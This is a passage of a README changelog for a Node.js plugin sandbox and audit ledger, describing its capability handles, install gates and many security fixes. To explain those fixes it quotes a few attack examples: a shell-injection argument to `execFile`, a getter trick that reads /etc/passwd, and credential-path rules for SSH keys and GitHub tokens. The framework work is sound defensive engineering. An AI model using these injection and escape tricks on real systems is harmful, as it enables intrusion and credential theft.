Handles are useless if plugins never use them. But a closed surface is inherently incomplete — `openSync`, `fs.promises.open`, `watch`, `globSync` are all absent from handles; enabling it by default would break existing plugins with `TypeError`s. So `LocalHost` and `activate()` default to `sandbox.mode = 'global'` relying on the Bridge alone; `handles` is a sandbox mode the host opts into:
|
|
329
|
+
|
|
330
|
+
```js
|
|
331
|
+
// global (default): plugin code needs zero changes
|
|
332
|
+
const fs = require('node:fs');
|
|
333
|
+
fs.readFileSync('cache.json'); // native fs → passes the Bridge guard chain
|
|
334
|
+
fs.openSync('cache.json', 'r'); // also available
|
|
335
|
+
|
|
336
|
+
// handles (explicit opt-in; plugin must use ctx.handles)
|
|
337
|
+
fs.readSync(fd, ...); // TypeError: this method does not exist
|
|
338
|
+
```
|
|
339
|
+
|
|
340
|
+
- During load, a `Module._load` redirect is installed; `fs` / `node:fs` / `fs/promises` are all swapped for handles.
|
|
341
|
+
- **Effective only for modules under the plugin directory**; the host's `require('fs')` is unaffected. The plugin's own `node_modules` dependencies are also inside pluginRoot and get redirected too.
|
|
342
|
+
- Order matters: install the Bridge first (it needs native fs itself), then the redirect — otherwise recursion.
|
|
343
|
+
- `sandbox.mode = 'handles'` is the explicit sandbox switch: take the closed surface, require plugins to go through `ctx.handles`.
|
|
344
|
+
- `ctx.handles` is **always available** (including under the default `global`): new plugins can go handle-only without switching modes; `sandbox.mode` only decides whether `require('fs')` is redirected.
|
|
345
|
+
- The default must preserve availability: without `handles`, existing plugins run with zero changes.
|
|
346
|
+
|
|
347
|
+
### Appendix F · Why non-invasive
|
|
348
|
+
|
|
349
|
+
The installation gate's job is not "decide for the user what to install", but to **articulate the risk and leave the execution point with the host**:
|
|
350
|
+
|
|
351
|
+
- Gates first, labels second: unsigned / missing Charter / suspicious static scan / won't load each produce an `Untrusted` / `ReviewRequired` / `Broken` label, visible on the portrait card's first screen — no more hiding information behind "refused to install".
|
|
352
|
+
- Only **malicious scripts** (out-of-bounds patches, non-whitelisted install scripts, out-of-bounds entry) and the **emergency blacklist** block installation; those are not "non-compliant configuration" but clear attack surfaces.
|
|
353
|
+
- The real boundary is at runtime: `LocalHost.install` runs the full gate pipeline itself, and `guard.installNativeHooks()` wires the actual `fs/net/child_process` calls into the same Two-Key guard chain; undeclared calls are recorded with `intercepted=true`.
|
|
354
|
+
- A declaration is only a **capability request**, not a compliance gesture; the host grant is the only key.
|
|
355
|
+
|
|
356
|
+
## Documentation
|
|
357
|
+
|
|
358
|
+
- [docs/SPEC.md](docs/SPEC.md): capability taxonomy, scope semantics, Two-Key, Ledger, gates, signing, portraits, Autopsy.
|
|
359
|
+
- [docs/ROLLOUT.md](docs/ROLLOUT.md): six-phase rollout, circuit-breaker thresholds, three-tier rollback, dual-key rotation, emergency takedown, monthly metrics, plus the **pre-rollout host responsibility checklist** (TOCTOU / native extensions / ledger writability / key custody / sandbox mode — each item checkable).
|
|
360
|
+
- [docs/COMPLIANCE.md](docs/COMPLIANCE.md): Charter fields, defaults, Sieve decisions, and channel policies.
|
|
361
|
+
|
|
362
|
+
> 🥚 **Easter egg**: [docs/ghost-in-the-llm/](docs/ghost-in-the-llm/) is the case file that motivated the 1.12.0 ingress audit — the full forensics of a real "user message of unknown origin" event (the ghost message), a two-round self-reversing retrospective, third-party review, and the ingress design it gave birth to. All identifiers, message bodies, and internal component names/paths have been scrubbed into placeholders. Read it after the SPEC for a much more visceral feel of "why reconciliation records matter".
|
|
363
|
+
|
|
364
|
+
## 1.10.12 fixes (1.10.12 review F5 second half: metrics exclude telemetry-side records)
|
|
365
|
+
|
|
366
|
+
Leftover item (core side) from `handoff/dsh-dashcam-review-1.10.12-2026-11-06.md`. Until now, telemetry-side records appended directly via `ledger.append` by the host adapter (dsh-dashcam-host: mount / unmapped-tool / unjudgeable-tool / `proc.commandline` archive, capability fixed at `telemetry`) were counted in the metrics allow/deny totals — they are not Two-Key judgments, and they polluted three readings at once: the interception rate was diluted by half by commandline archives alone; under `enforceUnmapped`, the unmapped-tool telemetry's `deny + intercepted=true` was miscounted as "undeclared out-of-bounds interception"; and `grantDenialRate`'s denominator was inflated by telemetry denies. Now the judgment readings of `computeMetrics` / `monthlyMetrics` only accept records with `capability !== 'telemetry'`; telemetry counts and their deny count are reported side by side as `telemetryRecords` / `telemetryDenies` (visibility preserved); offline audits such as `records()` / `verify()` still read all lines. Ledgers without telemetry records read identically (7 new guard tests prove it; full regression 241 tests, 0 fail). Semantics documented in [docs/ROLLOUT.md](docs/ROLLOUT.md) section 6. The host adapter `dsh-dashcam-host` also merged into this repo as a git subtree starting this version (history fully preserved; see [dsh-dashcam-host/](dsh-dashcam-host/README.md)), removing the dependency on a sibling workspace path.
|
|
367
|
+
|
|
368
|
+
## 1.10.13 fixes (1.10.13 review batch R1–R3: directory probe negative cache / deny bookkeeping / allowlist fail-fast)
|
|
369
|
+
|
|
370
|
+
Residual items from `handoff/dsh-dashcam-review-1.10.13-2026-11-06.md` (host subdirectory only; core `src/` unchanged; host PLUGIN_VERSION → 1.10.14):
|
|
371
|
+
|
|
372
|
+
- **R1 (fail-open → fixed)**: the L4 directory probe cache used to cache both positive and negative results — "delete a file, swap it to a directory within 30s, then delete again" made `deleteRequests` judge only the node and skip the subtree judgment, so granting node-delete alone could delete the whole tree (bypassing M1). Now **only positive results (isDir=true) are cached**: negative results probe fresh every time; positive caching is fail-closed in the opposite direction (a directory swapped to a file still gets an extra subtree judgment), which is acceptable.
|
|
373
|
+
- **R2 (audit does not dedupe)**: `enforceUnmapped` rejections used to be deduped in telemetry into a single ledger entry — 3 interceptions produced 1 record and `telemetryDenies` undercounted. Now every rejection **always** appends an unmapped-tool deny record; the console callout and allow telemetry still record once per name.
|
|
374
|
+
- **R3 (fail-fast)**: when `unmappedAllowlist` was accidentally written as a comma-separated string, it silently became an empty array; enabling `enforceUnmapped` would then block every tool it meant to exempt, with no warning. Now a non-array rejects the mount outright with guidance on the array form.
|
|
375
|
+
- Smoke suite 91 → **96, all passing** (R1/R2/R3 each gained cases; the `file→dir` swap scenario verified the subtree judgment still applies).
|
|
376
|
+
- R4 (deployment): the desktop profile's host link switched to the in-repo copy in the same batch (see HANDOFF).
|
|
377
|
+
|
|
378
|
+
## 1.10.11 fixes (batch P1–P9 from the two 1.10.10 review reports)
|
|
379
|
+
|
|
380
|
+
From `handoff/dsh-dashcam-review-1.10.10-2026-11-06.md` and
|
|
381
|
+
`handoff/dsh-dashcam-host-ops-mapping-1.10.10-2026-11-06.md`.
|
|
382
|
+
This version **only touches the host adapter** (`dsh-dashcam-host`); core `src/` unchanged; the 234-test regression is unaffected.
|
|
383
|
+
|
|
384
|
+
- **P1/P8 copy/move dual-endpoint judgment**: `ops_copy` / `ops_move` previously recorded only `fs.write` on the source path, with no judgment on the destination at all — under enforce, "source in-domain, destination out-of-domain" could move data out of the authorized domain. Now copy = `fs.read`(source) + `fs.write`(destination); move = `fs.read` + `fs.delete`(source) + `fs.write`(destination); `ops_remove` now records `fs.delete` (destructive actions no longer masquerade as writes).
|
|
385
|
+
- **P2 core tool `edit` unmapped**: `WRITE_TOOLS` gains `edit`; plugin file edits no longer escape the ledger.
|
|
386
|
+
- **P3 `ops_batch` fully invisible**: a single batch can plan/resume/run 512 copy/move/remove ops. Now each entry of `operations[]` is expanded and judged individually; under enforce the strictest outcome for the batch applies; a missing `operations[]` (resume/plan) or an over-limit batch makes sub-ops unjudgeable — advisory emits `unjudgeable` telemetry, enforce fails closed and rejects.
|
|
387
|
+
- **P4 `ops_read_files` recorded only the first path**: now each entry of `files[]` is judged and recorded; out-of-bounds reads of `files[1..]` (e.g. `.ssh/id_rsa`, auto-escalated to `cred.read`) no longer pass silently.
|
|
388
|
+
- **P5 `glob`/`grep` without path**: DSH defaults to the session cwd, which the host cannot obtain; rather than guessing a path and writing a fake ledger entry, these now fall to `unjudgeable` telemetry (advisory allows / enforce rejects) so the coverage gap stays visible.
|
|
389
|
+
- **P6 command judgment recognized only the first word**: `cd X && rm -f …` showed up in the ledger as just `cd`. A new `proc.commandline` audit record (truncated at 1024 chars + `sha256` of the full string) was added; the judgment scope remains the first word.
|
|
390
|
+
- **P7 unmapped telemetry only reached stdout**: the desktop build cannot see stdout, so a coverage gap effectively didn't exist. Unmapped tools and mount events (`telemetry/mount`) now land in the ledger together; same-name entries still record only once.
|
|
391
|
+
- **P9 `dryRun` recorded as a real write**: `write_file` / `edit_file` / `replace` with `dryRun: true` are downgraded to `fs.read`; the ledger no longer overstates side effects.
|
|
392
|
+
- **D4 ledger MAC key passthrough**: `config.ledgerMacKey` / `ledgerMacKeyFile` / `ledgerMacKeyEnv` pass straight through to dashcam (v3 ledger HMAC); an over-short key fails activate so the mount does not happen.
|
|
393
|
+
- **Test profile ledger isolation**: the `dashcam-test` profile's `ledgerPath` points at `ledger-dashcam-test.jsonl`; deny records during testing no longer mix into the production ledger.
|
|
394
|
+
- Regression: host smoke 28 → 57 checks, all passing (copy/move out-of-bounds interception, batch expansion and whole-batch rejection, per-path judgment, commandline archive, dryRun, MAC all covered).
|
|
395
|
+
- Known boundaries (unchanged): `replace` audits at base-directory granularity — glob-matched real files are not expanded individually; `bash -c "…"` nesting inside `ops_bash` still judges the first word only; the Bridge still defaults to `patchBuiltins: false`.
|
|
396
|
+
|
|
397
|
+
## 1.10.10 fixes (host mapping catches the ops_ prefix)
|
|
398
|
+
|
|
399
|
+
- **The `ops_*` prefix made the mapping table empty**: dsh-ops prefixes every tool's public name (`ops_bash` / `ops_read_files` / `ops_write_file` / `ops_copy` / `ops_move` / `ops_remove` …); the old mapping matched bare names and hit nothing — the shell's main channel never entered the ledger. Now the `ops_` prefix is stripped before matching bare names, so prefix combinations no longer need enumerating.
|
|
400
|
+
- **Unmapped tool telemetry**: tools not in the mapping table are allowed but called out (`console.info`, deduped by name), making coverage gaps visible and fixable instead of silently bypassed.
|
|
401
|
+
- Regression: host smoke expanded to 28 checks (`ops_bash` command/script_path forms, `files` arrays, glob/grep/stat/diff read-only scope, copy/move/remove bookkeeping).
|
|
402
|
+
|
|
403
|
+
## 1.10.9 fixes (batch P1 from the 1.10.8 review)
|
|
404
|
+
|
|
405
|
+
The 1.10.8 review report (2026-11-06) confirmed the fixes held and flagged one item on the P1 list untouched; this release closes it:
|
|
406
|
+
|
|
407
|
+
- **M1 socketPath dual-track unification**: `net.connect({ path })` / `net.connect('path')` (Unix sockets / named pipes) were rejected at the handle layer but folded into `{ host:'localhost', port:0 }` at the Bridge layer for a Two-Key judgment (potentially allowed by a host grant). The Bridge layer now rejects directly (ruleId `socket_path`, ledger first, then throw), matching the handle layer.
|
|
408
|
+
- **M4 maxMessageBytes**: the `ChildHost` bidirectional message limit lands (default 1 MiB, `policy.limits.maxMessageBytes`, floor 1024). Oversized inbound messages are dropped; oversized outbound responses degrade into a small `response_too_large` error response (avoiding a permanently hung child process); oversized invoke requests throw before sending (code `message_too_large`). `messageSizeBytes` returns Infinity for cyclic references (fail-closed).
|
|
409
|
+
- **M5 ipcTimeoutMs**: `ChildHost` accepts `ipcTimeoutMs` (0 = unlimited, negative falls back to the default 5000ms); the old parameter name `invokeTimeoutMs` remains compatible; `policy.limits.ipcTimeoutMs` is the official config entry.
|
|
410
|
+
- **M8 strictPatch wired into createPluginRuntime/activate**: previously only the LocalHost install path checked Hook coverage; the direct path installed Hooks but never verified them. Now with `policy.enforcement.strictPatch === true`, incomplete coverage → uninstall Hooks → refuse to load (`沙箱补丁不完整,按 strictPatch 拒绝装载:…`), matching LocalHost semantics.
|
|
411
|
+
- **M11 safetyStage.errors no longer wiped**: errors were discarded once converted to labels, losing evidence and hiding safety-gate blocks from strict mode's blockedSoFar. Errors now stay in `stage.errors` and `report.errors`; strict mode skips loadability based on them. `report.ok/blocked` semantics unchanged (safety by design "labels only, no blocking"; hard blocks only count non-safety gates).
|
|
412
|
+
- **M15 realpathSafe fail-closed**: non-ENOENT failures (EACCES/ELOOP/ENAMETOOLONG…) now return `null` instead of falling back to the lexical path (fail-open effectively gave symlink backdoors an ELOOP cover). Callers fail closed: derive rejects with `derive_failed`, the structure gate records `entry_realpath_failed`, `expandPath` throws at config time, `resolvePath` throws. ENOENT (pure non-existence) keeps the lexical fallback (legal for writes/creates).
|
|
413
|
+
- Regression: `test/review6-fixes.test.js` 8 cases (including platform-conditional assertions: long paths/symlink loops assert fail-closed only when they produce non-ENOENT on this machine). Full suite 234 tests / 230 passed / 0 fail / 4 symlink skips. The host's 13-item smoke script moved into `dsh-dashcam-host/test/smoke-host.mjs` (`npm run smoke`), and the host package got a git repository from this release (first commit).
|
|
414
|
+
|
|
415
|
+
## 1.10.8 fixes (two host-vs-core semantic gaps exposed by actually running the tests)
|
|
416
|
+
|
|
417
|
+
From `handoff/dsh-dashcam-test-1.10.7-2026-11-06.md`:
|
|
418
|
+
|
|
419
|
+
- **Host `config.requests` written as a string silently no-ops (issue 1, medium)**: the malformed syntax of `requests: [fs.read]` did not raise a config error; it surfaced later at runtime as `未声明的能力或范围:fs.read (...)` ("undeclared capability or scope"), disguising a config syntax problem as an undeclared capability. Root cause: `dashcam.activate()` consumes the manifest directly and never goes through `parseManifest`'s `normalizeRequest` — the host never validated before mounting. Fix: `dsh-dashcam-host` validates up front at mount time using `dashcam.normalizeRequest` + `normalizeGrant`, printing the full error (with a correct YAML example) and returning — fail-fast.
|
|
420
|
+
- **Under advisory, deny entries recorded `intercepted=true` in the ledger (issue 2, medium-low)**: in advisory mode the host lets `guard.check()` deny results through on its own, but the guard has no way of knowing, so the ledger accumulated contradictory records of `decision=deny / intercepted=true / actually allowed`. `Ledger.interceptions()` counted those as "actually intercepted", inflating metrics/portraits. Fix: `guard.check` gains `options.advisory: boolean` — when passed, deny ledger `decision` still records deny (the audit fact is preserved), but `intercepted` is always written false; the host's advisory mode explicitly passes `{ advisory: true }`. The allow path now also emits `intercepted: false` (the ledger had it but the denial object didn't — inconsistent).
|
|
421
|
+
- New `test/review5-fixes.test.js::R5-5` covers the advisory ledger semantics; full suite 226 tests (+1) / 222 passed / 0 fail / 4 symlink skips. Host smoke 10/10 PASS (fail-fast, advisory intercepted=false, enforce deny intercepted=true, interceptions() filtering).
|
|
422
|
+
|
|
423
|
+
## 1.10.7 fixes (residual batch from the 1.10.6 review)
|
|
424
|
+
|
|
425
|
+
The 1.10.6 review report (2026-11-06) confirmed the fixed items were solid with no regression, and flagged two unclosed items; this release closes both:
|
|
426
|
+
|
|
427
|
+
- **args injection via `shell:true` in the spawn family (review residual 1, P1)**: with `shell:true` the whole command line (first word + all args) gets re-interpreted by the shell; previously only `args[0]` was scanned for metacharacters — `execFile('git', ['status & echo pwned > PWN'], { shell: true })` passed the judgment layer (verified live during review). Now the first word and all string/array arguments are assembled into the full command line and scanned uniformly for metacharacters (ruleId `shell_metachar`, ledger first, then reject); clean args are unaffected and still fall to the existing first-word judgment.
|
|
428
|
+
Regression: `test/review5-fixes.test.js` R5-1 / R5-2.
|
|
429
|
+
- **Function-valued options rejected outright (review residual 2, P2)**: `cp`'s `filter` callback and `createReadStream`'s custom `fs` implementation object are retained by reference and can execute plugin code inside the native re-entrancy window, where their out-of-bounds calls pass straight through with zero ledger traces (live-verified: out-of-bounds file write succeeded). Callbacks are a natural channel for capability smuggling, and "switch callbacks back to the judgment layer" is infeasible under native synchronous calls — so function-valued options (including first-level function properties of implementation objects) are rejected directly (ruleId `function_options`, ledger first, then throw), with errors guiding toward callback-free forms; reference-retained native types like `AbortSignal` are unaffected.
|
|
430
|
+
Regression: `test/review5-fixes.test.js` R5-3 / R5-4.
|
|
431
|
+
- `knownGaps` pruned in sync: the entry "callbacks and implementation objects in options retained by reference" is removed with the fix above; the rest unchanged. Full `npm test`: 221 → 225 cases (4 new, 0 fail, 4 symlink-EPERM skips as usual).
|
|
432
|
+
|
|
433
|
+
## 1.10.6 fixes (security-review quick-wins batch)
|
|
434
|
+
|
|
435
|
+
The five medium "quick wins" from the 2026-11-05 security review, each mapped to its M number:
|
|
436
|
+
|
|
437
|
+
- **M12 retired keys still verified signatures**: `findKey` previously only excluded `revoked`, so keys set to `retired` by `retireKey` still passed publisher/reviewer verification — "rotation complete" existed in name only. Now only `status === 'active'` is accepted: within the rotation window old and new keys run in parallel (double-active) semantics unchanged; retire immediately invalidates. Regression: the rotation tests in `test/signatures.test.js` rewritten (post-retire old bundles rejected at the keyId stage; new bundles unaffected); `test/quick-wins.test.js` M12 tests `findKey`'s status whitelist directly.
|
|
438
|
+
- **M2 numeric path judged ≠ executed**: with `payload.path = 0` the guard judged the string `"0"` (`<root>/0` could be allowed by `$PLUGIN/**`) while the OS did `readFileSync(0)` reading the host's stdin. Path parameters now accept only string/Buffer/URL; other types are rejected at the judgment layer (ruleId `invalid_path_type`, no more `String(value)` fallback); the exact ruleId thrown by derive is passed through to the rejection result and ledger, and ChildHost's fs entry points reject before any real IO. The toString re-entrancy of attack 1.1 and the parameter-coercion scenario of review3 S0 are now closed earlier at the type gate (related tests rewritten for the new semantics).
|
|
439
|
+
- **M6 uninstall chain aborting halfway**: an error thrown by `redirect.uninstall()` skipped `bridge.uninstall()` / `seal.stop()` / the `active` cleanup, leaving old Hooks to judge the next plugin. The teardown chain is now per-step try/finally with `active` cleared first: no step may skip the remaining cleanups on failure; the first error still propagates to the caller (teardown failures must be visible). Regression: inject a throwing redirect; assert the bridge is still uninstalled, the seal still stops, and the host can re-register.
|
|
440
|
+
- **M13 credential blacklist gaps**: `~/.git-credentials` (git plaintext PATs/passwords) and `~/.config/gh/hosts.yml` (gh CLI plaintext tokens) were not in the credential path regexes — a home-directory read grant could walk off with GitHub credentials without triggering `cred.read`. Both patterns added (`~/.dsh` remains uncertain; only a comment in `paths.js`, no rule). Regression: reading those two paths escalates to a `cred.read` judgment and leaves a ledger trail.
|
|
441
|
+
- **M14 npm test script missing files**: the explicit list omitted `test/child-host.test.js`, `test/child.test.js`, and `test/protocol.test.js` — the multi-process runtime and IPC protocol were never being run. All added, plus a new `test/quick-wins.test.js`; a new self-check test enforces "script coverage count = number of `test/*.test.js` files on disk" (currently 33 = 33) to prevent future omissions.
|
|
442
|
+
- Full `npm test`: 215 → 221 cases (217 passed / 4 symlink-EPERM skips as usual / 0 fail); the quick-wins batch adds 6 cases and rewrites 3 existing ones (signatures rotation / attack 1.1 / review3 S0).
|
|
443
|
+
|
|
444
|
+
## 1.10.5 fixes (three-perspective review v2)
|
|
445
|
+
|
|
446
|
+
- **H1 re-entrancy window escape (verified high)**: class instances and plain objects with own enumerable `__proto__` properties can run plugin getters inside the native re-entrancy window (`callDepth > 0`), letting out-of-bounds IO in the getter pass straight through with zero ledger records. fs-family methods now do **whitelist extraction** on the options argument (an `FS_OPTIONS` table: each method keeps only the keys the native implementation actually reads); the extracted [[Get]] happens at `callDepth === 0` — getters on class instances/prototype chains fire outside the window, their side effects hit the guard chain as usual and get recorded; the write-back uses `defineProperty` into a null-prototype copy (no `__proto__` setter, closing the `Object.assign` prototype-swap mechanism). Remaining entry points are covered by `stripArgTraps` shallow-copying own enumerable keys; Buffer/TypedArray/URL/AbortSignal are still retained by reference.
|
|
447
|
+
Regression: `attack-surface.test.js` attack 1.5 (class instance) / 1.6 (own `__proto__` + prototype-chain combo).
|
|
448
|
+
- **H2 load observe window fail-open**: new `policy.enforcement.observeLoadWindow` (default `true`, so legacy plugins don't die on install); set to `false` and out-of-bounds calls during load reject installation outright (fail-closed); `strictPatch = true` force-closes the window. If `stats.observed > 0` at the end of load, a warning fires — allow concessions must be visible. "Security boundaries (must-read)" now describes the load window as residual risk rather than a feature (the 1.4.0 section keeps the historical account).
|
|
449
|
+
- **H3 exec/execSync shell metacharacters**: shell-bound commands containing `;|&$\`>'`, newlines, and other metacharacters are rejected outright (ruleId `shell_metachar`, deny-ledger first, then throw); first-word judgment no longer under-covers the shell's re-interpretation; the spawn family with `shell: true` is judged the same, custom `shell` strings and forks on a non-current-Node `execPath` are always rejected. Use `execFile` with per-argument passing instead.
|
|
450
|
+
- **H4 `fs.promises.cp` missed patch**: the fsp section adds `cp` (dual-sided read+write judgment, same scope as `fs.cp`) plus missed items like `readlink` / `statfs`; a new "fs vs fsp coverage cross-check" test enforces that any method patched on fs with an existing same-name fsp API must also be controlled, preventing future omissions.
|
|
451
|
+
- **H5 activate failing halfway / dispose leaking Hooks**: when an install step of `createPluginRuntime` fails, already-installed items are uninstalled in reverse order before throwing, no more stacking on the Hook layer; `dispose()` and `deactivate()` converge onto one idempotent release path (Hooks truly tear down only when the reference count hits zero) — after a direct `dispose()`, `activate()` can run again; double release is a no-op.
|
|
452
|
+
- **H6 ledger half-line recovery + multi-instance false positives**: `_recover` truncates crash-leftover half-lines to the last newline and fsyncs to disk; the hash chain resumes losslessly from the last complete line; on partial append-write failure the write is truncated back to its start instead of welding debris and the new line into bad JSON. Multiple instances in one process share seq/lastHash/size baselines per ledger path, so admission/registration/runtime interleaved writes no longer false-positive "concurrent writes"; writers outside the Ledger (external processes writing directly) are still detected — append keeps erroring and a warning fires when a new instance is constructed.
|
|
453
|
+
- Regression tests add `test/review4-fixes.test.js` (H2–H6, 10 cases) plus attacks 1.5 / 1.6; case counts below.
|
|
454
|
+
|
|
455
|
+
## 1.10.4 malicious attack-surface cases (12 cases)
|
|
456
|
+
|
|
457
|
+
New `test/attack-surface.test.js`: not "proof of what we blocked", but running the real host lifecycle (`install → register → invoke → uninstall`) against four classes of dimensionality-reduction attacks — pin down what we can defend, and write what we can't into `knownGaps`.
|
|
458
|
+
|
|
459
|
+
- **Re-entrancy and prototype chains**: nested writes during `toString` evaluation are rejected (ledger records `not_declared` / `intercepted`), `pwned.txt` never lands; reads inside `Proxy` get traps are rejected too; stuffing `paths` / `capabilities` onto `Object.prototype` does not amplify the capability surface.
|
|
460
|
+
- **Loader escapes**: `process.getBuiltinModule('fs')`, `require('fs')` from a non-plugin parent module, deleting `require.cache` and re-requiring — all return **the same patched module object**; reads are still rejected; in handles mode the nonexistent `readSync` does not resurrect via cache clearing.
|
|
461
|
+
- **Async contexts**: `Worker` (eval) and `execSync` are rejected on creation without a declared `proc.spawn`; `new Function('return process')()` grabbing the global `process` is not an escape.
|
|
462
|
+
- **Measured gaps (written into `knownGaps`)**:
|
|
463
|
+
- Timers/callbacks still in the event queue after uninstall — the Bridge has already restored native modules, the write **succeeds**;
|
|
464
|
+
- Inside already-authorized `worker_threads` / child processes — separate realm/process, invisible to this process's Hooks.
|
|
465
|
+
- Case count 166 → 178, all green on the host's own Node 24.21.0.
|
|
466
|
+
|
|
467
|
+
## 1.10.3 fixes (third three-perspective review)
|
|
468
|
+
|
|
469
|
+
- **S0 re-entrancy window privilege escalation**: `patchMethod` used to wrap "judgment + native call" entirely inside `callDepth`, so a `toString` / `valueOf` on the arguments could call back into the Bridge during judgment and make **unmanaged** native calls (`fs.existsSync({toString(){ fs.readFileSync(/etc/passwd) }})` could read file contents with zero ledger records). The re-entrancy window now wraps only the native call; judgment and argument parsing always happen outside it.
|
|
470
|
+
- **S2 duplicate handle judgments**: handles must be created **before** the Bridge. In the wrong order the handle pins the wrapped functions, and a single `ctx.handles` call gets judged twice (two ledger records; `oneSeal` judges the second as exhausted).
|
|
471
|
+
- **S2 `sandbox` string form**: `{ sandbox: 'handles' }` was silently dropped, actually running global; it now maps to `{mode}`, and `mode` goes through whitelist validation — invalid values error out directly.
|
|
472
|
+
- **S2 half-mounted registration**: when `module.activate` throws, deactivate / redirect / Bridge / seal / `modules` / `active` roll back in order, so the host never gets stuck with "an active Bridge exists, every subsequent registration fails".
|
|
473
|
+
- **S3 `fetch` redirect SSRF**: the wrapper forces `redirect:'manual'`; every hop re-judges by `Location`, hops capped at 5, protocols tightened to http/https; when the body can't be replayed, 3xx responses are handed back to the caller — never followed automatically. The Bridge and the net handles share `runtime/redirects.js`.
|
|
474
|
+
- **S3 frontend XSS sink**: the cockpit templates route every plugin-controllable field through an `esc()` escaping exit.
|
|
475
|
+
- **IPv6 host assertion**: `host:port` splitting strips square brackets first; `[::1]:443` and `::1:443` compare as equivalent. (During the fix it surfaced that the new split function shared a name with the validator, making `normalizeHosts` return an object and port comparison fail — renamed to `splitHostPortPair` with a test locking it in.)
|
|
476
|
+
- Case count 159 → 166.
|
|
477
|
+
|
|
478
|
+
## 1.10.2 design tweaks + consistency fixes
|
|
479
|
+
|
|
480
|
+
- **`sandbox.mode` defaults to `global`**: the closed handle surface is incomplete (`openSync` / `fs.promises.open` / `watch` / `globSync` are all absent from handles; `openSync` can't be compatible because it must return an fd); enabling `handles` by default would break existing plugins. Now both paths (`LocalHost` and `activate()`) default to `global`, and `handles` is the explicit option.
|
|
481
|
+
- **`minMacKeyBytes` floor raised to 32**: `policy.limits` no longer allows weakening HMAC-SHA256; the low-level `resolveLedgerMacKey(minBytes)` remains customizable.
|
|
482
|
+
- **P1 fix**: `createPluginRuntime` now treats `policy.sandbox.mode` as the single source of truth and accepts both `sandbox: 'handles'` (string) and `sandbox: { mode: 'handles' }` (object). The object form used to be silently ignored as truthy while actually running global.
|
|
483
|
+
- **P2 documentation corrected**: `node_modules` dependencies are inside `pluginRoot` and **are** redirected (old docs said otherwise).
|
|
484
|
+
- **P3/P4**: updated a stale `activate` comment; default tests no longer pass `sandbox` explicitly.
|
|
485
|
+
- Case count 158 → 159.
|
|
486
|
+
|
|
487
|
+
## 1.10.1 fixes (second three-perspective review)
|
|
488
|
+
|
|
489
|
+
- **H-1 `fetchTimeoutMs` actually took effect**: `createCapabilityHandles` used to accept `limits` without passing it down — the host set 3 seconds and got 30. It now flows through to the net handles, with an integration test via `LocalHost → ctx.handles.net`.
|
|
490
|
+
- **M-1 counters reserved early**: `activate()` used to register the callback before incrementing; if the callback threw, the Hook was installed but the count was 0, and the next activation stacked. Failures now roll the count back and `dispose()`.
|
|
491
|
+
- **M-3 limits validation**: `batchTargets: 'abc'` made limit comparisons always false (silent no-op); now `resolveLimits`/`loadPolicy` reject non-integers/out-of-range values directly. `fetchTimeoutMs: 0` is a legal value.
|
|
492
|
+
- **M-4 `coverage().installed`**: after a `strictPatch` load rejection, it no longer leaves the illusion of "pointing at an uninstalled Bridge".
|
|
493
|
+
- **L-1 ledger write-failure attribution**: after a partial write, the baseline aligns to the real size, so disk errors are no longer reported as "concurrent writes"; genuine concurrency detection is unchanged (not swallowed by realignment).
|
|
494
|
+
- Case count 153 → 158.
|
|
495
|
+
|
|
496
|
+
## 1.10.0 new (configurable limits)
|
|
497
|
+
|
|
498
|
+
Hard-coded constants all move into `policy.limits` with unchanged defaults:
|
|
499
|
+
|
|
500
|
+
| Key | Default | Purpose |
|
|
501
|
+
| --- | --- | --- |
|
|
502
|
+
| `batchTargets` | 10000 | cap on targets per `enforceBatch` |
|
|
503
|
+
| `globBatchSize` | 256 | async glob chunk size |
|
|
504
|
+
| `fetchTimeoutMs` | 30000 | default timeout for outbound `fetch` (0 = not injected) |
|
|
505
|
+
| `integrityEvery` | 64 | sample an integrity check every N judgments (0 = off) |
|
|
506
|
+
| `minMacKeyBytes` | 32 | minimum bytes for `macKey` |
|
|
507
|
+
|
|
508
|
+
Plus one optional hard constraint, `policy.enforcement.strictPatch`: default `false` (incomplete patches are only recorded + exposed via `coverage().unpatched`); turned on it escalates to **refuse to load**. This is the only knob left to the host between "non-invasive" and "fail-closed".
|
|
509
|
+
|
|
510
|
+
```js
|
|
511
|
+
new LocalHost({ policy: { limits: { fetchTimeoutMs: 5000 }, enforcement: { strictPatch: true } } });
|
|
512
|
+
```
|
|
513
|
+
|
|
514
|
+
- Case count 146 → 153.
|
|
515
|
+
|
|
516
|
+
## 1.9.0 fixes (three-perspective review)
|
|
517
|
+
|
|
518
|
+
A red-team / architecture / boundaries review confirmed 3 must-fix and 6 recommended items, all fixed:
|
|
519
|
+
|
|
520
|
+
- **H1 patch failures no longer silent**: when `patchMethod` fails to install it is recorded in `unpatched`, `coverage()` reports `{unpatched, complete}`, and a `ruleId='bridge_incomplete'` ledger entry is written. Previously a failed entry point was simply naked while `installed` stayed true.
|
|
521
|
+
- **H2 integrity check wired in**: `createGuardChain({integrityEvery})` (default 64) samples `verifyIntegrity()` inside the judgment loop. Previously this mechanism **was only ever called by tests** — the claimed tamper protection did not exist on the production path.
|
|
522
|
+
- **H3 Windows casing**: module-redirect parent-module matching is now case-insensitive (win32 only). Previously a case mismatch between `pluginRoot` and reality let `require('fs')` silently return native fs.
|
|
523
|
+
- **M1 fetch default timeout**: handle `fetch` injects a 30s timeout when the caller provides no `signal` (Node's native fetch has no default timeout).
|
|
524
|
+
- **M2 glob cwd no longer silently ignored**: unrecognized `cwd` types are now rejected outright instead of falling back to `process.cwd()` and letting the judged and actually-traversed objects diverge. (Node's own `fs.glob` currently accepts only string cwd; the URL branch is defensive.)
|
|
525
|
+
- **M3 unknown protocols get a clear rejection**: previously it fell back to the http module and threw Node's `ERR_INVALID_PROTOCOL` (misleading); now it says plainly "protocol not supported". **Live testing confirmed no cross-protocol request was actually sent**, so this downgraded from "protocol confusion" to "wrong contract".
|
|
526
|
+
- **M4 single runtime**: `activate()` rejects a second active runtime (native Hooks would stack and the inner ledger would miss records).
|
|
527
|
+
- **M5 ledger single-writer detection**: concurrent appends error out instead of writing duplicate `seq` and failing their own verification.
|
|
528
|
+
- **M6 compromise visibility**: `coverage().compromised` exposes integrity state.
|
|
529
|
+
- **L1/L2**: batch judgments get a cap (10k targets); ESM entry points get a clear error.
|
|
530
|
+
- Case count 135 → 146.
|
|
531
|
+
|
|
532
|
+
## 1.8.0 new (completing "one record represents N targets")
|
|
533
|
+
|
|
534
|
+
